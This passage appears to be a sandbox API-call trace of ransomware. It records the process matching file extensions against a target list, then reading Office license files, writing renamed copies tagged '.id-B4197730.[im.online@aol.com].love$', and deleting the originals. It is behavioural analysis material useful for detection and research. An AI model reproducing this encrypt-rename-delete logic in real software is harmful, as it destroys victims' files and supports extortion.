Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0275.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0275.922] lstrlenW (lpString=".doc") returned 4 [0275.922] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0275.922] lstrlenW (lpString=".docx") returned 5 [0275.922] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0275.922] lstrlenW (lpString=".pdf") returned 4 [0275.922] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0275.922] lstrlenW (lpString=".xls") returned 4 [0275.922] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0275.922] lstrlenW (lpString=".xlsx") returned 5 [0275.922] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0275.922] lstrlenW (lpString=".ppt") returned 4 [0275.922] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0275.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0275.922] lstrlenW (lpString=".zip") returned 4 [0275.922] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0275.922] lstrlenW (lpString=".rar") returned 4 [0275.922] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0275.922] lstrlenW (lpString=".bz2") returned 4 [0275.922] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0275.922] lstrlenW (lpString=".7z") returned 3 [0275.923] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0275.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0275.923] lstrlenW (lpString=".dbf") returned 4 [0275.923] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0275.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0275.923] lstrlenW (lpString=".1cd") returned 4 [0275.923] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0275.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86 [0275.923] lstrlenW (lpString=".jpg") returned 4 [0275.923] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0275.923] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0275.923] lstrlenW (lpString="O365HomePremR_SubTest3-pl.xrm-ms") returned 32 [0275.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0275.925] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=11179) returned 1 [0275.925] CloseHandle (hObject=0x42c) returned 1 [0275.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms")) returned 0x220 [0275.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0275.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0275.925] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.926] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0275.927] GetLastError () returned 0x0 [0275.927] ReadFile (in: hFile=0x42c, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2bab, lpOverlapped=0x0) returned 1 [0276.349] WriteFile (in: hFile=0x4ac, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0276.351] ReadFile (in: hFile=0x42c, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0276.351] WriteFile (in: hFile=0x4ac, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x114, lpOverlapped=0x0) returned 1 [0276.351] SetEndOfFile (hFile=0x4ac) returned 1 [0276.352] CloseHandle (hObject=0x4ac) returned 1 [0276.352] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.352] SetEndOfFile (hFile=0x42c) returned 1 [0276.357] CloseHandle (hObject=0x42c) returned 1 [0276.357] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0276.357] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms")) returned 1 [0276.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0276.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0276.359] lstrlenW (lpString=".doc") returned 4 [0276.359] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0276.359] lstrlenW (lpString=".docx") returned 5 [0276.359] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0276.359] lstrlenW (lpString=".pdf") returned 4 [0276.359] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0276.359] lstrlenW (lpString=".xls") returned 4 [0276.359] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0276.359] lstrlenW (lpString=".xlsx") returned 5 [0276.359] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0276.359] lstrlenW (lpString=".ppt") returned 4 [0276.359] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0276.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0276.359] lstrlenW (lpString=".zip") returned 4 [0276.359] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0276.359] lstrlenW (lpString=".rar") returned 4 [0276.359] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0276.360] lstrlenW (lpString=".bz2") returned 4 [0276.360] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0276.360] lstrlenW (lpString=".7z") returned 3 [0276.360] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0276.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0276.360] lstrlenW (lpString=".dbf") returned 4 [0276.360] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0276.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0276.360] lstrlenW (lpString=".1cd") returned 4 [0276.360] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0276.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0276.360] lstrlenW (lpString=".jpg") returned 4 [0276.360] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0276.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0276.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0276.360] lstrlenW (lpString=".doc") returned 4 [0276.360] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0276.360] lstrlenW (lpString=".docx") returned 5 [0276.360] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0276.360] lstrlenW (lpString=".pdf") returned 4 [0276.360] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0276.360] lstrlenW (lpString=".xls") returned 4 [0276.360] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0276.361] lstrlenW (lpString=".xlsx") returned 5 [0276.361] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0276.361] lstrlenW (lpString=".ppt") returned 4 [0276.361] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0276.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0276.361] lstrlenW (lpString=".zip") returned 4 [0276.361] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0276.361] lstrlenW (lpString=".rar") returned 4 [0276.361] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0276.361] lstrlenW (lpString=".bz2") returned 4 [0276.361] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0276.361] lstrlenW (lpString=".7z") returned 3 [0276.361] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0276.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0276.361] lstrlenW (lpString=".dbf") returned 4 [0276.361] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0276.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0276.361] lstrlenW (lpString=".1cd") returned 4 [0276.361] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0276.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0276.361] lstrlenW (lpString=".jpg") returned 4 [0276.361] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0276.361] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0276.361] lstrlenW (lpString="O365HomePremR_SubTest5-ppd.xrm-ms") returned 33 [0276.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0276.363] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=23134) returned 1 [0276.363] CloseHandle (hObject=0x42c) returned 1 [0276.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms")) returned 0x220 [0276.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0276.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0276.364] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.364] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0276.365] GetLastError () returned 0x0 [0276.365] ReadFile (in: hFile=0x42c, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x5a5e, lpOverlapped=0x0) returned 1 [0276.374] WriteFile (in: hFile=0x4ac, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x5a60, lpOverlapped=0x0) returned 1 [0276.377] ReadFile (in: hFile=0x42c, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0276.377] WriteFile (in: hFile=0x4ac, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x116, lpOverlapped=0x0) returned 1 [0276.377] SetEndOfFile (hFile=0x4ac) returned 1 [0276.378] CloseHandle (hObject=0x4ac) returned 1 [0276.378] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.378] SetEndOfFile (hFile=0x42c) returned 1 [0276.385] CloseHandle (hObject=0x42c) returned 1 [0276.385] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0276.386] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms")) returned 1 [0276.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0276.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0276.388] lstrlenW (lpString=".doc") returned 4 [0276.388] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0276.388] lstrlenW (lpString=".docx") returned 5 [0276.388] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0276.389] lstrlenW (lpString=".pdf") returned 4 [0276.389] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0276.389] lstrlenW (lpString=".xls") returned 4 [0276.389] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0276.389] lstrlenW (lpString=".xlsx") returned 5 [0276.389] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0276.389] lstrlenW (lpString=".ppt") returned 4 [0276.389] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0276.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0276.389] lstrlenW (lpString=".zip") returned 4 [0276.389] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0276.389] lstrlenW (lpString=".rar") returned 4 [0276.389] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0276.389] lstrlenW (lpString=".bz2") returned 4 [0276.389] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0276.390] lstrlenW (lpString=".7z") returned 3 [0276.390] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0276.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0276.390] lstrlenW (lpString=".dbf") returned 4 [0276.390] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0276.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0276.390] lstrlenW (lpString=".1cd") returned 4 [0276.390] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0276.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0276.390] lstrlenW (lpString=".jpg") returned 4 [0276.390] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0276.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0276.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0276.390] lstrlenW (lpString=".doc") returned 4 [0276.390] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0276.390] lstrlenW (lpString=".docx") returned 5 [0276.390] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0276.390] lstrlenW (lpString=".pdf") returned 4 [0276.390] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0276.391] lstrlenW (lpString=".xls") returned 4 [0276.391] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0276.391] lstrlenW (lpString=".xlsx") returned 5 [0276.391] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0276.391] lstrlenW (lpString=".ppt") returned 4 [0276.645] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0276.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0276.645] lstrlenW (lpString=".zip") returned 4 [0276.645] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0276.645] lstrlenW (lpString=".rar") returned 4 [0276.646] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0276.646] lstrlenW (lpString=".bz2") returned 4 [0276.646] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0276.646] lstrlenW (lpString=".7z") returned 3 [0276.646] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0276.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0276.646] lstrlenW (lpString=".dbf") returned 4 [0276.646] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0276.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0276.646] lstrlenW (lpString=".1cd") returned 4 [0276.646] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0276.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83 [0276.646] lstrlenW (lpString=".jpg") returned 4 [0276.646] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0276.646] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0276.646] lstrlenW (lpString="O365HomePremR_SubTrial1-pl.xrm-ms") returned 33 [0276.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0276.751] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=11183) returned 1 [0276.751] CloseHandle (hObject=0x550) returned 1 [0276.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms")) returned 0x220 [0276.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0276.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0276.752] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.752] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0276.754] GetLastError () returned 0x0 [0276.754] ReadFile (in: hFile=0x550, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2baf, lpOverlapped=0x0) returned 1 [0277.561] WriteFile (in: hFile=0x56c, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0277.563] ReadFile (in: hFile=0x550, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0277.563] WriteFile (in: hFile=0x56c, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x116, lpOverlapped=0x0) returned 1 [0277.563] SetEndOfFile (hFile=0x56c) returned 1 [0277.563] CloseHandle (hObject=0x56c) returned 1 [0277.564] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.564] SetEndOfFile (hFile=0x550) returned 1 [0277.567] CloseHandle (hObject=0x550) returned 1 [0277.567] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0277.568] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms")) returned 1 [0277.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0277.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0277.569] lstrlenW (lpString=".doc") returned 4 [0277.569] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0277.570] lstrlenW (lpString=".docx") returned 5 [0277.570] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0277.570] lstrlenW (lpString=".pdf") returned 4 [0277.570] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0277.570] lstrlenW (lpString=".xls") returned 4 [0277.570] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0277.570] lstrlenW (lpString=".xlsx") returned 5 [0277.570] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0277.570] lstrlenW (lpString=".ppt") returned 4 [0277.570] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0277.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0277.570] lstrlenW (lpString=".zip") returned 4 [0277.570] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0277.570] lstrlenW (lpString=".rar") returned 4 [0277.570] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0277.570] lstrlenW (lpString=".bz2") returned 4 [0277.570] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0277.570] lstrlenW (lpString=".7z") returned 3 [0277.570] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0277.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0277.570] lstrlenW (lpString=".dbf") returned 4 [0277.570] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0277.570] lstrlenW (lpString="C:\\Program Files\\Microsoft 